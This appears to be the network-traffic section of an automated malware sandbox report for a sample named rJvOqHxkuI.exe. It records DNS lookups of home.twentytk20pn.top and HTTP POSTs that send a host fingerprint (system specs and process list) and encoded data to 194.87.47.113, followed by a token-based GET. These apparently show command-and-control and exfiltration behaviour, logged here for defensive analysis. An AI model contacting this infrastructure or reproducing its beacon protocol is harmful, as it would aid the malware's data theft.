Dec 19, 2024 08:21:47.475562096 CET	49793	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:47.675539970 CET	80	49793	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:47.675777912 CET	49793	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:47.915539026 CET	80	49793	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:47.917567968 CET	49793	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:47.971554041 CET	80	49793	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:47.973675966 CET	49793	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:48.037214041 CET	80	49793	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:48.093350887 CET	80	49793	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:48.093638897 CET	80	49793	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:48.899780989 CET	80	49793	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:48.899802923 CET	80	49793	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:48.899955988 CET	49793	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:48.920342922 CET	49793	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:49.039901972 CET	80	49793	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:51.654023886 CET	49807	443	192.168.2.10	172.217.19.228
Dec 19, 2024 08:21:51.654078960 CET	443	49807	172.217.19.228	192.168.2.10
Dec 19, 2024 08:21:51.654203892 CET	49807	443	192.168.2.10	172.217.19.228
Dec 19, 2024 08:21:51.654401064 CET	49807	443	192.168.2.10	172.217.19.228
Dec 19, 2024 08:21:51.654417038 CET	443	49807	172.217.19.228	192.168.2.10
Dec 19, 2024 08:21:52.889174938 CET	49818	443	192.168.2.10	172.217.19.228
Dec 19, 2024 08:21:52.889214039 CET	443	49818	172.217.19.228	192.168.2.10
Dec 19, 2024 08:21:52.889271021 CET	49818	443	192.168.2.10	172.217.19.228
Dec 19, 2024 08:21:52.889477015 CET	49819	443	192.168.2.10	172.217.19.228
Dec 19, 2024 08:21:52.889518023 CET	443	49819	172.217.19.228	192.168.2.10
Dec 19, 2024 08:21:52.889600992 CET	49819	443	192.168.2.10	172.217.19.228
Dec 19, 2024 08:21:52.890126944 CET	49818	443	192.168.2.10	172.217.19.228
Dec 19, 2024 08:21:52.890145063 CET	443	49818	172.217.19.228	192.168.2.10
Dec 19, 2024 08:21:52.890305042 CET	49819	443	192.168.2.10	172.217.19.228
Dec 19, 2024 08:21:52.890321970 CET	443	49819	172.217.19.228	192.168.2.10
Dec 19, 2024 08:21:53.000210047 CET	49820	443	192.168.2.10	172.217.19.228
Dec 19, 2024 08:21:53.000250101 CET	443	49820	172.217.19.228	192.168.2.10
Dec 19, 2024 08:21:53.000324011 CET	49820	443	192.168.2.10	172.217.19.228
Dec 19, 2024 08:21:53.000629902 CET	49820	443	192.168.2.10	172.217.19.228
Dec 19, 2024 08:21:53.000642061 CET	443	49820	172.217.19.228	192.168.2.10
Dec 19, 2024 08:21:53.353101969 CET	443	49807	172.217.19.228	192.168.2.10
Dec 19, 2024 08:21:53.353545904 CET	49807	443	192.168.2.10	172.217.19.228
Dec 19, 2024 08:21:53.353583097 CET	443	49807	172.217.19.228	192.168.2.10
Dec 19, 2024 08:21:53.356753111 CET	443	49807	172.217.19.228	192.168.2.10
Dec 19, 2024 08:21:53.356822014 CET	49807	443	192.168.2.10	172.217.19.228
Dec 19, 2024 08:21:54.579020023 CET	443	49819	172.217.19.228	192.168.2.10
Dec 19, 2024 08:21:54.579417944 CET	49819	443	192.168.2.10	172.217.19.228
Dec 19, 2024 08:21:54.579432964 CET	443	49819	172.217.19.228	192.168.2.10
Dec 19, 2024 08:21:54.580859900 CET	443	49818	172.217.19.228	192.168.2.10
Dec 19, 2024 08:21:54.581285954 CET	49818	443	192.168.2.10	172.217.19.228
Dec 19, 2024 08:21:54.581300020 CET	443	49818	172.217.19.228	192.168.2.10
Dec 19, 2024 08:21:54.581871033 CET	443	49819	172.217.19.228	192.168.2.10
Dec 19, 2024 08:21:54.581962109 CET	49819	443	192.168.2.10	172.217.19.228
Dec 19, 2024 08:21:54.582806110 CET	443	49818	172.217.19.228	192.168.2.10
Dec 19, 2024 08:21:54.582983017 CET	49818	443	192.168.2.10	172.217.19.228
Dec 19, 2024 08:21:54.694236040 CET	443	49820	172.217.19.228	192.168.2.10
Dec 19, 2024 08:21:54.694663048 CET	49820	443	192.168.2.10	172.217.19.228
Dec 19, 2024 08:21:54.694678068 CET	443	49820	172.217.19.228	192.168.2.10
Dec 19, 2024 08:21:54.696160078 CET	443	49820	172.217.19.228	192.168.2.10
Dec 19, 2024 08:21:54.696289062 CET	49820	443	192.168.2.10	172.217.19.228
Dec 19, 2024 08:21:55.010766983 CET	49807	443	192.168.2.10	172.217.19.228
Dec 19, 2024 08:21:55.012618065 CET	49818	443	192.168.2.10	172.217.19.228
Dec 19, 2024 08:21:55.013042927 CET	49820	443	192.168.2.10	172.217.19.228
Dec 19, 2024 08:21:55.013158083 CET	49819	443	192.168.2.10	172.217.19.228
Dec 19, 2024 08:21:55.379004955 CET	49827	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:55.498549938 CET	80	49827	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:55.498620033 CET	49827	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:55.501024961 CET	49827	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:55.620784998 CET	80	49827	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:55.620803118 CET	80	49827	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:55.620820999 CET	80	49827	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:55.620865107 CET	80	49827	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:55.620951891 CET	80	49827	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:55.620963097 CET	49827	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:55.621004105 CET	49827	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:55.621017933 CET	80	49827	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:55.621026039 CET	80	49827	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:55.621052027 CET	49827	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:55.621073008 CET	49827	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:55.621227026 CET	80	49827	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:55.621237993 CET	80	49827	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:55.621246099 CET	80	49827	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:55.621259928 CET	49827	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:55.740633965 CET	80	49827	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:55.740655899 CET	80	49827	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:55.740703106 CET	80	49827	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:55.740737915 CET	80	49827	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:55.740809917 CET	80	49827	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:55.740881920 CET	80	49827	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:55.783534050 CET	80	49827	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:57.179228067 CET	80	49827	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:57.179363012 CET	80	49827	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:57.179430962 CET	49827	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:57.180010080 CET	49827	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:57.299535990 CET	80	49827	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:58.342726946 CET	49833	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:58.462224007 CET	80	49833	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:58.462346077 CET	49833	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:58.462795019 CET	49833	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:58.582206011 CET	80	49833	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:59.985344887 CET	80	49833	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:59.985371113 CET	80	49833	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:59.985430002 CET	49833	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:59.986064911 CET	49833	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:22:00.105626106 CET	80	49833	194.87.47.113	192.168.2.10

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 19, 2024 08:21:08.870341063 CET	61357	53	192.168.2.10	1.1.1.1
Dec 19, 2024 08:21:08.870471954 CET	61357	53	192.168.2.10	1.1.1.1
Dec 19, 2024 08:21:09.010984898 CET	53	61357	1.1.1.1	192.168.2.10
Dec 19, 2024 08:21:09.178721905 CET	53	61357	1.1.1.1	192.168.2.10
Dec 19, 2024 08:21:12.293464899 CET	61360	53	192.168.2.10	1.1.1.1
Dec 19, 2024 08:21:12.293553114 CET	61360	53	192.168.2.10	1.1.1.1
Dec 19, 2024 08:21:12.588468075 CET	53	61360	1.1.1.1	192.168.2.10
Dec 19, 2024 08:21:12.596220016 CET	53	61360	1.1.1.1	192.168.2.10
Dec 19, 2024 08:21:17.076638937 CET	61362	53	192.168.2.10	1.1.1.1
Dec 19, 2024 08:21:17.076690912 CET	61362	53	192.168.2.10	1.1.1.1
Dec 19, 2024 08:21:17.219691038 CET	53	61362	1.1.1.1	192.168.2.10
Dec 19, 2024 08:21:17.220849037 CET	53	61362	1.1.1.1	192.168.2.10
Dec 19, 2024 08:21:41.600431919 CET	60209	53	192.168.2.10	1.1.1.1
Dec 19, 2024 08:21:41.600568056 CET	60209	53	192.168.2.10	1.1.1.1
Dec 19, 2024 08:21:41.917845011 CET	53	60209	1.1.1.1	192.168.2.10
Dec 19, 2024 08:21:41.917978048 CET	53	60209	1.1.1.1	192.168.2.10
Dec 19, 2024 08:21:46.483825922 CET	60211	53	192.168.2.10	1.1.1.1
Dec 19, 2024 08:21:46.483947992 CET	60211	53	192.168.2.10	1.1.1.1
Dec 19, 2024 08:21:46.623893023 CET	53	60211	1.1.1.1	192.168.2.10
Dec 19, 2024 08:21:46.623970032 CET	53	60211	1.1.1.1	192.168.2.10
Dec 19, 2024 08:21:51.346657038 CET	53	51807	1.1.1.1	192.168.2.10
Dec 19, 2024 08:21:51.350763083 CET	53	55758	1.1.1.1	192.168.2.10
Dec 19, 2024 08:21:51.463661909 CET	58574	53	192.168.2.10	1.1.1.1
Dec 19, 2024 08:21:51.464519024 CET	57983	53	192.168.2.10	1.1.1.1
Dec 19, 2024 08:21:51.603837967 CET	53	57983	1.1.1.1	192.168.2.10
Dec 19, 2024 08:21:51.605453014 CET	53	58574	1.1.1.1	192.168.2.10
Dec 19, 2024 08:21:55.236993074 CET	50482	53	192.168.2.10	1.1.1.1
Dec 19, 2024 08:21:55.237056017 CET	50482	53	192.168.2.10	1.1.1.1
Dec 19, 2024 08:21:55.378154039 CET	53	50482	1.1.1.1	192.168.2.10
Dec 19, 2024 08:21:55.378170013 CET	53	50482	1.1.1.1	192.168.2.10
Dec 19, 2024 08:21:58.201175928 CET	61965	53	192.168.2.10	1.1.1.1
Dec 19, 2024 08:21:58.201244116 CET	61965	53	192.168.2.10	1.1.1.1
Dec 19, 2024 08:21:58.341547966 CET	53	61965	1.1.1.1	192.168.2.10
Dec 19, 2024 08:21:58.341573000 CET	53	61965	1.1.1.1	192.168.2.10

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 19, 2024 08:21:08.870341063 CET	192.168.2.10	1.1.1.1	0xfb62	Standard query (0)	httpbin.org	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:21:08.870471954 CET	192.168.2.10	1.1.1.1	0xc667	Standard query (0)	httpbin.org	28	IN (0x0001)	false
Dec 19, 2024 08:21:12.293464899 CET	192.168.2.10	1.1.1.1	0xbe10	Standard query (0)	home.twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:21:12.293553114 CET	192.168.2.10	1.1.1.1	0x65bb	Standard query (0)	home.twentytk20pn.top	28	IN (0x0001)	false
Dec 19, 2024 08:21:17.076638937 CET	192.168.2.10	1.1.1.1	0x8bc1	Standard query (0)	home.twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:21:17.076690912 CET	192.168.2.10	1.1.1.1	0xf7f2	Standard query (0)	home.twentytk20pn.top	28	IN (0x0001)	false
Dec 19, 2024 08:21:41.600431919 CET	192.168.2.10	1.1.1.1	0x41c0	Standard query (0)	twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:21:41.600568056 CET	192.168.2.10	1.1.1.1	0x80fb	Standard query (0)	twentytk20pn.top	28	IN (0x0001)	false
Dec 19, 2024 08:21:46.483825922 CET	192.168.2.10	1.1.1.1	0xb43c	Standard query (0)	twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:21:46.483947992 CET	192.168.2.10	1.1.1.1	0x6966	Standard query (0)	twentytk20pn.top	28	IN (0x0001)	false
Dec 19, 2024 08:21:51.463661909 CET	192.168.2.10	1.1.1.1	0x11be	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:21:51.464519024 CET	192.168.2.10	1.1.1.1	0xe5c4	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 19, 2024 08:21:55.236993074 CET	192.168.2.10	1.1.1.1	0xab44	Standard query (0)	twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:21:55.237056017 CET	192.168.2.10	1.1.1.1	0xfdc5	Standard query (0)	twentytk20pn.top	28	IN (0x0001)	false
Dec 19, 2024 08:21:58.201175928 CET	192.168.2.10	1.1.1.1	0x91a3	Standard query (0)	home.twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:21:58.201244116 CET	192.168.2.10	1.1.1.1	0x6878	Standard query (0)	home.twentytk20pn.top	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 19, 2024 08:21:09.178721905 CET	1.1.1.1	192.168.2.10	0xfb62	No error (0)	httpbin.org	98.85.100.80	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:21:09.178721905 CET	1.1.1.1	192.168.2.10	0xfb62	No error (0)	httpbin.org	34.226.108.155	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:21:12.588468075 CET	1.1.1.1	192.168.2.10	0xbe10	No error (0)	home.twentytk20pn.top	194.87.47.113	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:21:17.219691038 CET	1.1.1.1	192.168.2.10	0x8bc1	No error (0)	home.twentytk20pn.top	194.87.47.113	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:21:41.917978048 CET	1.1.1.1	192.168.2.10	0x41c0	No error (0)	twentytk20pn.top	194.87.47.113	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:21:46.623893023 CET	1.1.1.1	192.168.2.10	0xb43c	No error (0)	twentytk20pn.top	194.87.47.113	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:21:51.603837967 CET	1.1.1.1	192.168.2.10	0xe5c4	No error (0)	www.google.com		65	IN (0x0001)	false
Dec 19, 2024 08:21:51.605453014 CET	1.1.1.1	192.168.2.10	0x11be	No error (0)	www.google.com	172.217.19.228	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:21:55.378170013 CET	1.1.1.1	192.168.2.10	0xab44	No error (0)	twentytk20pn.top	194.87.47.113	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:21:58.341547966 CET	1.1.1.1	192.168.2.10	0x91a3	No error (0)	home.twentytk20pn.top	194.87.47.113	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

httpbin.org

home.twentytk20pn.top

twentytk20pn.top

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49709	194.87.47.113	80	7724	C:\Users\user\Desktop\rJvOqHxkuI.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:21:12.718784094 CET	12360	OUT	POST /WEIsmPfDcpBFJozngnYN1734366322 HTTP/1.1 Host: home.twentytk20pn.top Accept: / Content-Type: application/json Content-Length: 563165 Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 35 39 32 38 37 30 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 35 30 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 [TRUNCATED] Data Ascii: { "ip": "8.46.123.189", "current_time": "1734592870", "Num_processor": 4, "Num_ram": 7, "drivers": [ { "name": "C:\\", "all": 223.0, "free": 168.0 } ], "Num_displays": 1, "resolution_x": 1280, "resolution_y": 1024, "recent_files": 50, "processes": [ { "name": "[System Process]", "pid": 0 }, { "name": "System", "pid": 4 }, { "name": "Registry", "pid": 92 }, { "name": "smss.exe", "pid": 324 }, { "name": "csrss.exe", "pid": 408 }, { "name": "wininit.exe", "pid": 484 }, { "name": "csrss.exe", "pid": 492 }, { "name": "winlogon.exe", "pid": 552 }, { "name": "services.exe", "pid": 620 }, { "name": "lsass.exe", "pid": 628 }, { "name": "svchost.exe", "pid": 752 }, { "name": "fontdrvhost.exe", "pid": 776 }, { "name": "fontdrvhost.exe", "pid": 784 }, { "name": "svchost.exe", "pid": 872 }, { "name": "svchost.exe", "pid": 924 }, { "name": "dwm.exe", "pid": 984 }, { "name": "svchost.exe", "pid": 360 }, { "name": "svchost.exe", "pid": 356 }, { "name": "svchost.exe", "pid": 772 }, { "name": "svchost.exe", "pid": [TRUNCATED]
Dec 19, 2024 08:21:12.839555979 CET	9888	OUT	Data Raw: 36 62 36 67 64 5c 2f 43 68 72 79 66 34 6f 5c 2f 38 41 42 49 58 39 6c 37 52 4c 66 77 6a 70 5c 2f 68 50 55 76 69 52 70 32 71 2b 4d 66 45 32 71 65 46 34 39 53 31 76 78 50 5a 36 78 61 61 57 79 66 44 62 34 67 65 4b 72 47 5c 2f 53 77 74 64 45 30 6c 72 Data Ascii: 6b6gd\/Chryf4o\/8ABIX9l7RLfwjp\/hPUviRp2q+MfE2qeF49S1vxPZ6xaaWyfDb4geKrG\/SwtdE0lriSHWfDGlpNFLdGKawkvYAiTSw3Nv8AmkPpyeEspRUsg8Q6cZSjGVSeUcOOFNSaTnJU+LJ1HGKfNJQhOdk+WMpWT\/XZ\/s7\/ABshCco8S+F9SUYSlGnDO+KVOo4q6hB1OC6dNSk7Ri6lSELtc04xvJfzEP8AeP4f
Dec 19, 2024 08:21:12.839809895 CET	4944	OUT	Data Raw: 37 34 5c 2f 74 5a 76 4a 70 6d 74 61 5a 49 37 53 32 56 37 45 70 78 75 6c 74 72 6d 4f 35 73 62 6d 36 74 5a 5c 2f 45 50 32 66 64 51 2b 4b 6c 70 2b 79 5a 2b 78 56 48 34 48 30 4c 39 70 72 55 39 4a 62 39 6a 6a 39 6e 46 37 69 66 34 4d 54 66 73 61 78 2b Data Ascii: 74\/tZvJpmtaZI7S2V7EpxultrmO5sbm6tZ\/EP2fdQ+Klp+yZ+xVH4H0L9prU9Jb9jj9nF7if4MTfsax+F01E\/DXRVlhv1\/aH1jT\/Gp19bZbR7o6XC3hf8As6TShZStqw1tE+ifhhqfxkuPHOhw+K\/Dv7XNhoD\/ANp\/b7v4nz\/sGv4Gi26PqDWv9uL8GNdvPiWd96ttHpn\/AAjdtJjWH086xs0AarIv8cZzwhSweLz
Dec 19, 2024 08:21:12.840218067 CET	7416	OUT	Data Raw: 75 59 6d 6a 6d 6a 6e 30 71 59 4b 30 39 70 63 51 73 38 63 73 64 78 44 4e 42 4c 47 58 56 74 79 35 46 66 77 5a 39 4a 48 6a 75 6c 34 65 38 61 56 63 44 6d 6d 56 52 7a 72 68 5c 2f 69 37 4c 75 47 4d 35 78 6d 41 71 55 4d 5a 44 32 6d 4a 79 4c 4d 73 54 51 Data Ascii: uYmjmjn0qYK09pcQs8csdxDNBLGXVty5FfwZ9JHjul4e8aVcDmmVRzrh\/i7LuGM5xmAqUMZD2mJyLMsTQqRwWYUcRhqOFxdfC4GnhcVzyry+qVaUpUNKMj\/T36H\/AADX8T\/Dd47KM1jkfFHBmbcXZBgc1hXwVSphcHxDlmBxlKpjMtr0MVXxWEo4zMK2IwjjTw8HiqOIpxxCbrRPzV\/Yp+JnxN+I3gv4xDxLpGkaf8OtBv
Dec 19, 2024 08:21:12.840370893 CET	2472	OUT	Data Raw: 5c 2f 41 45 72 76 2b 6e 2b 65 61 44 6f 49 5a 47 33 4d 69 4a 6c 5c 2f 2b 50 6a 48 38 76 38 41 50 66 38 41 4c 6c 6e 6d 48 37 69 4a 76 5c 2f 64 66 30 5c 2f 48 5c 2f 41 45 37 48 62 48 63 44 36 54 4b 76 7a 62 42 6c 48 5c 2f 7a 5c 2f 41 4b 4c 39 61 4a Data Ascii: \/AErv+n+eaDoIZG3MiJl\/+PjH8v8APf8ALlnmH7iJv\/df0\/H\/AE7HbHcD6TKvzbBlH\/z\/AKL9aJMssz\/u8+V5XP8A19f5PSg6CtJzGz7CnmcD+h\/Cj5Pk2Q7I\/wDSP+fr+n+fyp\/\/AC0dJ\/k9I8\/63\/OKh8x\/4kuf9b5v+t\/cf5+lbe\/\/AHfxAZhPn+eT\/nlL5nTH+f8APen\/AHfk\/d+X\/qjiX2\
Dec 19, 2024 08:21:12.959429979 CET	4944	OUT	Data Raw: 63 66 63 64 66 36 6f 34 62 48 30 38 6d 71 5a 7a 68 36 65 46 77 57 5a 5c 2f 58 38 54 68 73 52 69 61 65 43 78 50 45 32 44 77 57 48 34 6f 72 7a 72 59 62 43 34 6d 6f 76 72 47 5a 31 49 54 68 52 71 33 6b 33 46 6f 39 47 6b 6d 67 6d 2b 61 5a 55 57 58 47 Data Ascii: cfcdf6o4bH08mqZzh6eFwWZ\/X8ThsRiaeCxPE2DwWH4orzrYbC4movrGZ1IThRq3k3Fo9Gkmgm+aZUWXGCSSx4zgZOTgenbnHNQm1t3\/1U+PZ8cf41r+EdD0fxbZeEJ5viv8HfA+rfEv456h+zh8KfCXj3VPila+JfiZ8YLHRfA+tReFfDs\/gr4QeO\/Bui\/wBpr8RfCmm6dq3j\/wAY+C9GbU9R2XmoWdjDLfr4t4e+K3g
Dec 19, 2024 08:21:12.959534883 CET	4944	OUT	Data Raw: 6c 2b 44 63 58 6a 72 51 66 45 6a 76 65 65 49 66 44 65 6b 2b 46 59 5a 76 45 61 66 6b 48 48 2b 43 2b 6a 48 34 68 5a 32 38 35 34 36 78 6d 55 5a 76 6d 32 55 35 65 38 6c 2b 76 66 32 39 78 52 6c 39 43 6a 51 77 47 49 7a 44 48 52 79 69 45 73 6e 7a 44 42 Data Ascii: l+DcXjrQfEjveeIfDek+FYZvEafkHH+C+jH4hZ28546xmUZvm2U5e8l+vf29xRl9CjQwGIzDHRyiEsnzDBZdic09picfjMPl8FWzjGYWf1jD0a+CjRnH9y8Msw+l94X8PU8i8OMBnuR5Jn+bYbO6eXf6tcIZnicVjc7wWTYKjnHJn2V5hmuHyqth6eT4KtmEnQyPB4t08Lia2Hx9WrTn+vR\/wCC3P7Rnb4VfA0fXTfiEf5fEFa
Dec 19, 2024 08:21:12.959673882 CET	4944	OUT	Data Raw: 2f 6e 5c 2f 50 36 31 44 38 5c 2f 6c 37 7a 38 6e 35 64 66 2b 6e 54 2b 56 50 5c 2f 41 4e 59 42 38 6e 37 72 5c 2f 6c 6c 33 5c 2f 77 41 38 48 38 38 31 43 75 66 75 48 5c 2f 53 55 5c 2f 77 43 75 76 37 2b 48 38 4f 66 35 56 7a 6e 58 7a 76 79 5c 2f 72 35 Data Ascii: /n\/P61D8\/l7z8n5df+nT+VP\/ANYB8n7r\/ll3\/wA8H881CufuH\/SU\/wCuv7+H8Of5VznXzvy\/r5jJvu\/JH8\/+ql\/6bf569PT8YWVPMcp88f8AqvM\/5b\/56\/pV9v4H\/eP5cv7rnv8Ar1\/KqzbI8bPuf5\/z9ePeg1KY3+X9\/t+98zPr\/n\/IpnybXT7ieV058\/seeP8A6\/oaf5bx\/wCrSN\/+Pj956\/
Dec 19, 2024 08:21:13.007282019 CET	27192	OUT	Data Raw: 54 6a 48 79 53 76 47 58 58 67 59 34 59 63 55 78 74 4a 30 6c 76 4d 64 74 4c 30 35 6d 6d 35 6d 4c 57 56 73 54 4b 63 46 66 33 68 4d 57 58 34 4a 58 35 73 38 45 39 6a 58 38 2b 38 62 5c 2f 52 4b 34 62 34 34 34 77 7a 33 6a 48 48 35 37 6d 6c 48 46 35 39 Data Ascii: TjHySvGXXgY4YcUxtJ0lvMdtL05mm5mLWVsTKcFf3hMWX4JX5s8E9jX8+8b\/RK4b444wz3jHH57mlHF59xLW4ixeDpwpvBy9twMuAquXzp8idTCVcqXtqnO5YiOJc3hcRhqFfEUKv9S+Hf05+NPDvgbh\/gXLeGcmxGB4e4fy\/JcHi6znLFLE5dxG+IcNm0XJThHF0ZVMRhKdNxlg3Sre1r4WviqGExGH+Ufhf8QfAVj8c\/2
Dec 19, 2024 08:21:13.122710943 CET	7416	OUT	Data Raw: 78 57 2b 4b 48 68 62 58 76 69 74 38 64 66 46 31 6c 34 6b 38 48 2b 4a 50 32 65 49 4e 4e 4e 70 38 51 5c 2f 6a 56 38 51 5c 2f 69 50 34 52 38 52 65 46 72 76 78 6c 38 63 76 43 58 69 72 52 66 45 4f 6a 36 50 34 75 73 49 35 4a 72 5c 2f 77 33 70 38 74 72 Data Ascii: xW+KHhbXvit8dfF1l4k8H+JP2eINNNp8Q\/jV8Q\/iP4R8ReFrvxl8cvCXirRfEOj6P4usI5Jr\/w3p8trqsWpae0Wp6PI76h\/MP8AtF\/s\/wDjb9nL4lXXgPxroGu+Hlv9PTxR4Ri8TXXgq48Qaj4Lv9W1jSdI1PWYPAHjDxz4d07UZLvQtTtbqwg8RXTpJaG5CpbXNsW\/rAf40\/tbjRPCl8v7FG\/WdX0W7vvE+g\/8NH
Dec 19, 2024 08:21:13.283961058 CET	1236	OUT	Data Raw: 66 78 34 5c 2f 35 4a 42 38 51 66 2b 78 58 31 6a 5c 2f 30 67 75 4b 39 63 72 32 58 34 49 5c 2f 73 6b 61 68 2b 32 33 34 6a 38 51 5c 2f 41 4c 53 76 48 46 6a 38 50 4c 5c 2f 78 42 34 47 38 53 36 68 42 34 6c 31 48 51 72 6a 78 44 5a 32 34 73 59 37 61 43 Data Ascii: fx4\/5JB8Qf+xX1j\/0guK9cr2X4I\/skah+234j8Q\/ALSvHFj8PL\/xB4G8S6hB4l1HQrjxDZ24sY7aCWKXTrXUtKnYtDeyTI6XJzJAsLIqzGeH8k8Xsxw+XeFniJisZUVGguDeIaDqclSp+9xeWYnCYePLSjOf7zEV6VO\/Lyx5uabjCMpL\/ADz+jdg8TjvpA+ClLC0\/a1KPijwPj6keeEOXCZXxFl+Z4+repKEX7DBYTE
Dec 19, 2024 08:21:16.553980112 CET	183	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Thu, 19 Dec 2024 07:21:16 GMT Content-Type: text/html; charset=utf-8 Content-Length: 26 Connection: close Data Raw: 75 37 56 74 4e 4c 79 6a 71 66 67 61 4b 30 50 74 31 37 33 34 35 39 32 38 37 35 Data Ascii: u7VtNLyjqfgaK0Pt1734592875

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49720	194.87.47.113	80	7724	C:\Users\user\Desktop\rJvOqHxkuI.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:21:17.341846943 CET	126	OUT	GET /WEIsmPfDcpBFJozngnYN1734366322?argument=u7VtNLyjqfgaK0Pt1734592875 HTTP/1.1 Host: home.twentytk20pn.top Accept: /
